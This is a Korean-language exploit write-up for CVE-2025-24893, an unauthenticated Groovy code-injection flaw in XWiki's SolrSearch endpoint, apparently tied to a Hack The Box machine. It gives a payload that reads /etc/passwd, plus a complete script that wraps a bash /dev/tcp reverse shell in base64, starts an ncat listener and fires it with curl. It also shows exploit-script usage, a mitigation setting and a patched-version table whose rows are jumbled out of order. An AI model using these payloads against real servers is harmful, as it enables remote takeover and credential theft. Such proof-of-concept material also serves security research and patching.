
CVE-2025-24893은 인기 있는 오픈소스 엔터프라이즈 위키 플랫폼인 XWiki에서 발견된 심각한 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
SolrSearch 매크로 (XWiki UI)/xwiki/bin/get/Main/SolrSearch 엔드포인트는 신뢰할 수 없는 text= 입력을 Freemarker 템플릿에 직접 연결합니다.
공격자는 템플릿을 조기에 닫고 새 {{groovy}} … {{/groovy}} 블록을 열어 인증 없이 임의의 Groovy 코드를 실행할 수 있습니다.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch는 제공된 텍스트를 일반 콘텐츠로 삽입해야 하지만 매크로 핸들러가 }}}를 이스케이프하지 못하므로 다음이 발생합니다:
}}} 현재 Freemarker 블록을 닫습니다. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false는 동기 실행을 강제합니다(게스트에게도 작동).다음은 /etc/passwd를 출력하는 최소 PoC입니다:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
URL 인코딩 변형(공백 → %20, 중괄호 → %7B/%7D 등):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| 브랜치 | 수정 버전 | 취약한 버전 ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (및 모든 15.9 / 15.8 …) |
| 14.x LTS |
(출처: OffSec 권고 및 XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py는 exploit/ 디렉터리에 포함되어 있습니다(아래 코드 블록 참조).
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
여기서
<TARGET URL> - URL including http:// or https://
(-c "id"를 전달하면 셸 대신 임의의 명령을 실행할 수 있습니다)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
연구 및 PoC: DeX1d
면책 고지: 교육 목적으로만 사용하세요. 소유하지 않은 시스템에 대해 실행하는 것은 불법입니다.
| 14.10.17 |
| 14.10.16 |
| 13 / 12 | 유지 관리 안 됨 – 모든 버전이 취약함 |